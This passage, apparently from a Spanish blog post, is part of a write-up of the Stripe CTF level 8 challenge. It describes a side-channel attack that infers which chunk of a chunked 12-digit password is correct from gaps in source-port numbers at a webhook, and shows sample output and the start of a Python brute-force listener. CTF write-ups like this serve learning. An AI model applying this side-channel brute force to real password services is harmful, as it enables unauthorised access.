&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;se obtenía {&quot;success&quot;: false} o {&quot;success&quot;: true}. Añadiendo un webhook se recibía el resultado en forma de petición POST. Analizando el funcionamiento del servicio se extrae:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;ol style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Un servidor principal maneja una contraseña numérica de 12 dígitos que es divida en 4 trozos. Estos trozos son gestionados por servicios individuales.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Cuando se envía una petición al servidor principal, este consulta, por orden y uno por uno, a los servicios individuales. Si uno de los servicios responde al servidor principal que no es correcto, este no realiza más peticiones al resto de servicios individuales y contesta con false.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Nos interesaría atacar a los servicios individuales con una fuerza bruta a 3 dígitos puesto que es más rápido que atacar al servidor con fuerza bruta de 12 dígitos, pero no se tiene acceso a estos servicios, por lo que se descarta. En las pistas iniciales indicaban que no se trataba de un ataque basado en el tiempo (timming attack) por lo que se desecha la opción.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Decidí acudir al IRC que estaba montado para el CTF para ver que comentaba el resto de participantes sobre la prueba, y ahí obtuve una pista: tenía que revisar toda la conexión. Por lo que hice un script que mostrara los datos de la conexión: host y puerto origen, el resto de datos host-puerto destino y el mensaje ya lo conocía. Cuando lancé el script en local, pude extraer el patrón:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;python ports&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;py 
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;38251&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;38254&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;38257&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;38260&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;38263&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;38266&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;38269&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Enviando diferentes contraseñas se deduce que si el primer trozo de la contraseña es erróneo, hay un salto de 3 en el número de puerto, si el primer trozo es correcto pero el segundo no, hay un salto de 4 en el número de puerto:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;42120&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;42124&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;42128&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;42132&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;42136&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;127.0.0.1&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;42140&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Así hasta que obtenemos los tres primeros trozos, para sacar el cuarto trozo y por lo tanto la contraseña, se hizo una fuerza bruta al servidor principal.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;En local el patrón era bastante regular por lo que se daba la diferencia de +3, +4 o +5 en el número de puerto; sin embargo, cuando se realizó contra el servidor del nivel 8 debido a la carga de este se recibían diferencias mayores a pesar de que la contraseña fuera incorrecta por lo que en esos casos había que repetir la consulta para esa contraseña.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;El código para la consulta del primer trozo es:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;BaseHTTPServer&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;BaseHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;HTTPServer&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; time &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; sleep
&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; httplib
&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; os


srv8 &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;level08-2.stripe-ctf.com&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
srv2 &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;level02-2.stripe-ctf.com&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
cont &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;color: #880000;&quot;&gt;# contador de posicion&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
rangoVal&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; range&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;999&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;color: #880000;&quot;&gt;# rango de valores posibles &lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
lastPort &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;color: #880000;&quot;&gt;# ultimo puerto&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;Manejador&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;BaseHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; do_POST&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;global&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; srv2&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; cont&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; lastPort&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; rangoVal
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;send_response&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;wfile&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;ook&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; str&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;rangoVal&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;cont&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]).&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;zfill&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;-000-000-000&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Diferencia: &quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; str&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;client_address&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; lastPort&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
